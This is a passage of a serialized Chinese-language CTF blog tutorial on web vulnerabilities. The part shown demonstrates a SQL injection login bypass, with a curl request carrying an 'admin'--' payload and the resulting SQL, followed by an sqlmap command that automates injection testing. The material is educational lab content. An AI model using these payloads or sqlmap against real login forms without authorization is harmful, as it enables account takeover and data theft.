",[19,14169,13238],{},[19,14171,14172],{},"#",[15,14174,262],{},[39,14176,14178],{"className":41,"code":14177,"language":43,"meta":44,"style":44},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[19,14179,14180],{"__ignoreMap":44},[48,14181,14182,14184,14186,14188,14190,14192,14194,14196,14198,14201],{"class":50,"line":51},[48,14183,5161],{"class":54},[48,14185,13881],{"class":219},[48,14187,13884],{"class":58},[48,14189,5164],{"class":1325},[48,14191,14122],{"class":58},[48,14193,5804],{"class":1325},[48,14195,14127],{"class":219},[48,14197,5164],{"class":1325},[48,14199,14200],{"class":58},"user=admin'--+&pass=wrong",[48,14202,5170],{"class":1325},[15,14204,14205],{},"实际执行的 SQL：",[39,14207,14209],{"className":4955,"code":14208,"language":4957,"meta":44,"style":44},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[19,14210,14211],{"__ignoreMap":44},[48,14212,14213],{"class":50,"line":51},[48,14214,14208],{},[15,14216,14217,14219,14220,14223],{},[19,14218,13238],{}," 注释掉密码部分。预期输出：",[19,14221,14222],{},"Login success"," 和 flag。",[15,14225,14226,14229,14230,14233,14234,14237],{},[27,14227,14228],{},"为什么能成功","：数据库中确实存在 ",[19,14231,14232],{},"admin"," 用户，查询 ",[19,14235,14236],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[462,14239,14241],{"id":14240},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,14243,14244,14246],{},[27,14245,252],{},"：用工具确认手工结论，同时自动探测其他注入点。",[39,14248,14250],{"className":41,"code":14249,"language":43,"meta":44,"style":44},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[19,14251,14252,14275,14280,14285],{"__ignoreMap":44},[48,14253,14254,14256,14258,14260,14262,14264,14266,14268,14271,14273],{"class":50,"line":51},[48,14255,5794],{"class":54},[48,14257,5797],{"class":219},[48,14259,5164],{"class":1325},[48,14261,14122],{"class":58},[48,14263,5804],{"class":1325},[48,14265,14127],{"class":219},[48,14267,5164],{"class":1325},[48,14269,14270],{"class":58},"user=a&pass=b",[48,14272,5804],{"class":1325},[48,14274,5807],{"class":219},[48,14276,14277],{"class":50,"line":68},[48,14278,14279],{"class":237},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[48,14281,14282],{"class":50,"line":107},[48,14283,14284],{"class":237},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[48,14286,14287],{"class":50,"line":114},[48,14288,14289],{"class":237},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,14291,14292,14293,14296],{},"预期输出：报告 ",[19,14294,14295],{},"Parameter: user (POST)"," 存在注入。",[10,14298,906],{"id":905},[15,14300,14301],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[920,14303,14304],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":44,"searchDepth":68,"depth":68,"links":14306},[14307,14308,14309,14310,14311,14312,14313,14314,14315,14316],{"id":12474,"depth":107,"text":12475},{"id":12582,"depth":107,"text":12583},{"id":12680,"depth":107,"text":12681},{"id":13275,"depth":107,"text":13276},{"id":13568,"depth":107,"text":13569},{"id":13792,"depth":107,"text":13793},{"id":13906,"depth":107,"text":13907},{"id":13970,"depth":107,"text":13971},{"id":14067,"depth":107,"text":14068},{"id":905,"depth":107,"text":906},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":938,"image":14319,"alt":14320,"tags":14321,"published":110},"/blogs-img/blog9.png","CTF Web 入门",[942,6314,943],"/blogs/ctf-web-overview",{"title":12469,"description":14317},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796567266]